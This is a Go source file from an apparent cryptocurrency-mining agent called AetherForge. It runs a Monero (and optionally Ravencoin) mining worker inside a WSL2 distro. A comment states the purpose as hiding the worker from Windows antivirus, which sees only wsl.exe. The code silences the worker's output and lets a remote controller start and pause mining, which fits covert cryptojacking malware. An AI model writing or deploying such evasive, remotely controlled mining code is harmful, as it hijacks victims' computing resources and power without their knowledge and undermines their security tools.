Files
AetherForge/agent/miner/wsl_launcher.go

199 lines
5.5 KiB
Go

package miner
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
"sync"
"crypto-miner-agent/config"
)
const (
defaultWSLDistro = "Ubuntu"
defaultWSLWorkerPath = "/opt/aetherforge/worker"
wslSystemdUnitName = "aetherforge-miner.service"
)
// wslExecCommand is exec.Command; tests override via SetWSLExecCommand.
var wslExecCommand = exec.Command
// SetWSLExecCommand restores the default when fn is nil.
func SetWSLExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
wslExecCommand = exec.Command
return
}
wslExecCommand = fn
}
// WSLLauncher supervises CPU mining inside a WSL2 distro via wsl.exe -e.
// Windows AV sees only wsl.exe — the worker binary lives in the Linux VFS.
//
// Remote start_mining / pause can toggle the systemd user unit without spawning
// a new process tree on each resume:
//
// wsl.exe -d <distro> -e systemctl --user start aetherforge-miner.service
// wsl.exe -d <distro> -e systemctl --user stop aetherforge-miner.service
//
// Install the unit once under ~/.config/systemd/user/ in the target distro.
// When systemd is unavailable, Start falls back to wsl.exe -e bash -lc with
// the same AETHERFORGE_* env vars as the container tier (same XMR wallet).
type WSLLauncher struct {
cfg config.RuntimeConfig
wsl WSLRuntimeInfo
distro string
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewWSLLauncher builds a launcher when WSL2 is available on Windows.
func NewWSLLauncher(cfg config.RuntimeConfig, wslRT WSLRuntimeInfo) (*WSLLauncher, error) {
if !wslRT.Available || wslRT.CLI == "" {
return nil, fmt.Errorf("WSL2 not available (no wsl.exe or no distros)")
}
distro := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_DISTRO"))
if distro == "" && len(wslRT.Distros) > 0 {
distro = wslRT.Distros[0]
}
if distro == "" {
distro = defaultWSLDistro
}
return &WSLLauncher{cfg: cfg, wsl: wslRT, distro: distro}, nil
}
// Start launches mining inside WSL (idempotent while already running).
func (l *WSLLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
// Prefer systemd user unit when installed in the distro.
if err := wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "start", wslSystemdUnitName).Run(); err == nil {
l.running = true
log.Printf("[wsl] started %s via systemd user unit (distro=%s)", wslSystemdUnitName, l.distro)
return nil
}
args := l.buildDirectExecArgs()
cmd := wslExecCommand(l.wsl.CLI, args...)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return fmt.Errorf("wsl worker start failed: %w", err)
}
l.cmd = cmd
l.running = true
log.Printf("[wsl] started worker in distro=%s wallet=%s", l.distro, l.cfg.Wallet)
go l.waitExit()
return nil
}
func (l *WSLLauncher) buildDirectExecArgs() []string {
worker := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_WORKER"))
if worker == "" {
worker = defaultWSLWorkerPath
}
script := fmt.Sprintf("export %s; exec %s",
strings.Join(l.wslEnv(), " "),
worker,
)
return []string{"-d", l.distro, "-e", "bash", "-lc", script}
}
func (l *WSLLauncher) wslEnv() []string {
threads := l.cfg.EffectiveThreads()
pairs := []string{
"AETHERFORGE_SERVER_URL=" + l.cfg.ServerURL,
"AETHERFORGE_WALLET=" + l.cfg.Wallet,
"AETHERFORGE_WORKER=" + l.cfg.WorkerName,
"AETHERFORGE_POOL_HOST=" + l.cfg.PoolHost,
"AETHERFORGE_POOL_PORT=" + fmt.Sprintf("%d", l.cfg.PoolPort),
"AETHERFORGE_POOL_TLS=" + boolEnv(l.cfg.PoolTLS),
"AETHERFORGE_POOL_PASS=" + l.cfg.PoolPass,
"AETHERFORGE_THREADS=" + fmt.Sprintf("%d", threads),
"AETHERFORGE_MINER_EXECUTION=" + ExecutionInProcess,
"AETHERFORGE_FLEET_SECRET=" + l.cfg.FleetSecret,
}
if l.cfg.RVNWallet != "" {
pairs = append(pairs,
"AETHERFORGE_RVN_WALLET="+l.cfg.RVNWallet,
"AETHERFORGE_RVN_POOL_HOST="+l.cfg.RVNPoolHost,
"AETHERFORGE_RVN_POOL_PORT="+fmt.Sprintf("%d", l.cfg.RVNPoolPort),
"AETHERFORGE_GPU_ENABLED="+boolEnv(l.cfg.GPUEnabled),
)
}
return pairs
}
func (l *WSLLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
if err != nil {
log.Printf("[wsl] worker exited: %v — host will fall back if configured", err)
} else {
log.Printf("[wsl] worker stopped")
}
}
// Stop halts the WSL workload (systemd unit or direct process).
func (l *WSLLauncher) Stop() {
l.mu.Lock()
running := l.running
l.mu.Unlock()
if !running {
return
}
_ = wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "stop", wslSystemdUnitName).Run()
l.mu.Lock()
if l.cmd != nil && l.cmd.Process != nil {
_ = l.cmd.Process.Kill()
}
l.running = false
l.cmd = nil
l.mu.Unlock()
}
// Running reports whether the launcher believes the WSL worker is active.
func (l *WSLLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}
// ToggleWSLMining starts or stops the systemd user unit via wsl.exe.
// Used by remote start_mining / pause when a WSL sidecar is the active tier.
func ToggleWSLMining(wslRT WSLRuntimeInfo, distro string, start bool) error {
if !wslRT.Available || wslRT.CLI == "" {
return fmt.Errorf("WSL2 not available")
}
if strings.TrimSpace(distro) == "" {
if len(wslRT.Distros) > 0 {
distro = wslRT.Distros[0]
} else {
distro = defaultWSLDistro
}
}
verb := "stop"
if start {
verb = "start"
}
cmd := wslExecCommand(wslRT.CLI, "-d", distro, "-e", "systemctl", "--user", verb, wslSystemdUnitName)
if err := cmd.Run(); err != nil {
return fmt.Errorf("wsl systemctl %s %s: %w", verb, wslSystemdUnitName, err)
}
return nil
}